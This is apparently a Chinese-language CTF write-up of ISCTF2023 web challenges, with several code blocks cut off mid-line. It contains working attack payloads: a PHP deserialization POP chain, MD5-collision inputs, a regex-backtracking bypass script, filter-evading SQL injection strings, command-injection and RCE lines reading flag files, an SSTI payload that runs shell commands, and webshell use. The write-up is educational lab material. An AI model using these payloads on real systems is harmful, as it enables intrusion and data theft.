ISCTF2023 web方向wp超详细解析+做题思路(部分)

1、圣杯战争!!!

题目如下:

 ";
        return $this->excalibuer->arrow;
    }
}

class prepare{
    public $release;
    public function __get($key){
        $functioin = $this->release;
        echo "蓄力!咖喱棒!!
"; return $functioin(); } } class saber{ public $weapon; public function __invoke(){ echo "胜利!
"; include($this->weapon); } } class summon{ public $Saber; public $Rider; public function __wakeup(){ echo "开始召唤从者!
"; echo $this->Saber; } } if(isset($_GET['payload'])){ unserialize($_GET['payload']); } ?>

__wakeup() 方法在使用 unserialize() 函数从字符串中还原对象时,如果对象的类中定义了 __wakeup() 方法,那么在对象被反序列化后,该方法会被自动调用。 

__invoke() 是一个魔术方法(Magic Method),在 PHP 中用于在对象被当作函数调用时自动调用。当我们将一个对象直接作为函数进行调用时,__invoke() 方法会被触发。

__get() 在 PHP 中用于访问对象中未定义或不可访问的属性时自动调用。当我们尝试获取一个对象的不存在或不可访问的属性时,__get() 方法会被触发。

__toString()在 PHP 中用于将对象转换为字符串时自动调用。当我们试图将一个对象直接作为字符串进行输出或拼接时,__toString() 方法会被触发。

我构造反序列化pop链的习惯是从"出"到"入"开始构造,先找到要命令执行/文件读取的地方标记为1,层层递进,每一层都标记,最后再赋值,步骤如下:

 ";
        return $this->excalibuer->arrow;  //3,目的是触发__get(),我们留意到这里调用了$excalibuer里的arrow属性,显然类prepare里没有arrow属性,丢到这里刚好能触发__get()
    }
}

class prepare{
    public $release; 
    public function __get($key){
        $functioin = $this->release;  //2,把将 $this->release 属性赋值给了 $function
        echo "蓄力!咖喱棒!!
"; return $functioin(); //在这里被当作函数调用,显而易见能把saber类丢给这里的$release } } class saber{ public $weapon; public function __invoke(){ echo "胜利!
"; include($this->weapon); //1,文件包含的地方标记为1,想要包含需要触发__invoke()的话需要找能把saber类当作函数触发的地方 } } class summon{ public $Saber; public $Rider; public function __wakeup(){ echo "开始召唤从者!
"; echo $this->Saber; //4,目的是触发刚刚第三层的tostring,这里有个echo } } $s=new saber(); $s->weapon="php://filter/convert.base64-encode/resource=flag.php"; $pr=new prepare(); $pr->release=$s; $a=new artifact(); $a->excalibuer=$pr; $su=new summon(); $su->Saber=$a; echo serialize($su); ?>

本来一开始直接weapon="flag.php",但是出不了,所以换成伪协议:

$s->weapon="php://filter/convert.base64-encode/resource=flag.php";

payload:

O:6:"summon":2:{s:5:"Saber";O:8:"artifact":2:{s:10:"excalibuer";O:7:"prepare":1:{s:7:"release";O:5:"saber":1:{s:6:"weapon";s:52:"php://filter/convert.base64-encode/resource=flag.php";}}s:5:"arrow";N;}s:5:"Rider";N;}

2、where_is_the_flag

题目:

ISCTF2023 web方向wp超详细解析+做题思路(部分)_第1张图片

提示了一句话密码为1,直接蚁剑连靶场,密码连1

进去就能看见flag1

ISCTF2023 web方向wp超详细解析+做题思路(部分)_第2张图片

根目录有flag2

ISCTF2023 web方向wp超详细解析+做题思路(部分)_第3张图片

flag3不可能一个个点,肯定是转去虚拟终端用命令找,在开虚拟终端之前看下.sh,一般都会放些提示

start.sh内容:

#!/bin/sh
sed -i "s/{{FLAG1}}/${FLAG:0:10}/" /var/www/localhost/htdocs/flag.php
echo ${FLAG:10:10} > /flag2
export FLAG3=${FLAG:20}
FLAG3=${FLAG:20}
export FLAG="flag"
FLAG="flag"
httpd -D FOREGROUND

我们就能知道,FLAG3 包含了 FLAG 变量的从第 21 个字符到末尾的部分,可以直接在虚拟终端输出 FLAG3 变量的值 

那我们先进入虚拟终端,然后cd /去到根目录,然后在根目录输出FLAG3 变量的值

echo $FLAG3

b46f5f79edea4be2927e386890d25f6d.png

别的命令不知道为什么不是返回不了,就是权限不够,都已经root了(?可能因为我对Linux还不够熟悉吧)比如

find / -type f -name "*flag*"

出来的全是拒绝访问,麻了

3、绕进你的心里

题目如下:

  

第一层MD5强比较绕过可以这样绕

Param1=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2

Param2=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2

第二层,绕过intval()限制

intval() 转换数组类型时,不关心数组中的内容,只判断数组中有没有元素。

    「空数组」返回 0
    「非空数组」返回 1

实例:

var_dump(intval(array()));
var_dump(intval(array(3,2)));

输出:

int(0)
int(1)

所以这一层绕过就可以是:

zhurong[]=a

第三层的绕过关键在pan_gu利用正则最大回溯绕过,看到'/.+?ISCTF/is'这种就要想到了,我们通过发送超长字符串的方式,使正则执行失败,最后绕过目标对PHP语言的限制。

网上找的通用回溯poc如下,需要对应不同题目改脚本:

import requests
from io import BytesIO

files = {
  'file': BytesIO(b'aaa

 这一题的脚本是:

import requests

url = "http://43.249.195.138:21812/?hongmeng=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&shennong=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2&zhurong[]=a"

data = {

    'pan_gu': 'aaaaaaaaaa' * 250000 + '2023ISCTF'

}

r = requests.post(url, data=data)

print(r.text)

ISCTF2023 web方向wp超详细解析+做题思路(部分)_第4张图片

4、easy_website

一开始弱口令爆破同时扫目录,发现用户名是admin,密码是admin,但是登录了只是显示一行字,扫目录的结果基本没用

ISCTF2023 web方向wp超详细解析+做题思路(部分)_第5张图片

接下来尝试sql、xss、ssti这些,发现用户名的框有SQL注入漏洞,单引号闭合,替换了or,过滤空格

payload1:(成功闭合)

1' oorrder%09by%091#

ISCTF2023 web方向wp超详细解析+做题思路(部分)_第6张图片

爆数据库名:

username=-1'ANANDD%09updatexml(1,concat(0x7e,(sELECT%09database())),1)#&password=1

 ISCTF2023 web方向wp超详细解析+做题思路(部分)_第7张图片

爆表名:

1'ANANDD%09extractvalue(1,concat(0x7e,(selselectect%09group_concat(table_name)%09from%09infoorrmation_schema.tables%09where%09table_schema=database()%09limit%090,1),0x7e))#&password=admin

 ISCTF2023 web方向wp超详细解析+做题思路(部分)_第8张图片

爆字段名:

 但是发现结果不能全展示出来

ISCTF2023 web方向wp超详细解析+做题思路(部分)_第9张图片

所以用到substring函数分段查询

SUBSTRING()是一种用于提取字符串子串的SQL函数。它的语法通常如下:

SUBSTRING(string, start, length)

参数说明:

  • string:要提取子串的字符串。
  • start:指定子串的起始位置,是一个整数值。起始位置从1开始计数。
  • length:可选参数,指定要提取的子串的长度。如果省略该参数,则会提取从起始位置到字符串末尾的所有字符。

使用SUBSTRING()函数的示例:

SELECT SUBSTRING('Hello World', 7, 5);       #结果为:World

在这个示例中,我们从字符串 'Hello World' 中提取了从第7个字符开始的连续5个字符,即子串 'World'

ISCTF2023 web方向wp超详细解析+做题思路(部分)_第10张图片

爆表名payload,需要改变后substring两个的参数来拼接:

username=-1'ANANDD%09extractvalue(1,concat(0x7e,substring((selselectect%09group_concat(column_name)%09from%09infoorrmation_schema.columns%09where%09table_name='users'),1,50),0x7e))#&password=admin

一共有这些字段:

USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS,user,password

猜测在小写的两个字段里,经过尝试发现flag在password字段里

最终payload:

username=-1'ANANDD%09extractvalue(1,concat(0x7e,substring((selselectect%09passwoorrd%09from%09users%09limit%092,1),1,80),0x7e))#&password=admin

由于一开始没加limit被提示返回不止一行,所以用limit 2,1,同样需要substring函数自己拼接来看flag

ISCTF2023 web方向wp超详细解析+做题思路(部分)_第11张图片

5、wafr

ISCTF2023 web方向wp超详细解析+做题思路(部分)_第12张图片

rce:

code=system('ca\t /f*')

code=system('ca"t /f*')

code=system('strings /f*')

6、webinclude

dirsearch扫描出index.bak的备份文件和flag.php,以下为index.bak

 function string_to_int_array(str){
        const intArr = [];

        for(let i=0;i

这是 java写的脚本,他有一处是让一个小写字母转换为两个大写字母,我们需要逆向写一个脚本(以下复制大佬脚本):

#include
#include

int main() 
{
	char b[100]="dxdydxdudxdtdxeadxekdxea";
	for(int j=0;j<2;j++){
		int tmp1=0,tmp2=0,sum=0,f=0;
		//printf("%d\n",strlen(b));
		for(int i=0;i

payload:

?mihoyo=php://filter/read=convert.base64-encode/resource=flag.php

7、fuzz!

ISCTF2023 web方向wp超详细解析+做题思路(部分)_第13张图片

[a-z]可以绕过任意一个字母,"|"没过滤可以放在开头结束前面的curl,然后再拼接系统命令

payload:

?file=|tac /fl[a-z]ggggggg.txt

?file=f{i}l{e}:///fla{g}gggggg.txt

8、恐怖G7

无过滤ssti,直接注入,flag在环境变量里

{{url_for.__globals__['__builtins__']['eval']("__import__('os').popen('env').read()")}}

9、ez_ini

UA头:

POST:

shell=system('cat /fl*');

你可能感兴趣的:(ctf,各种ctf的wp合集,web安全,php,网络安全)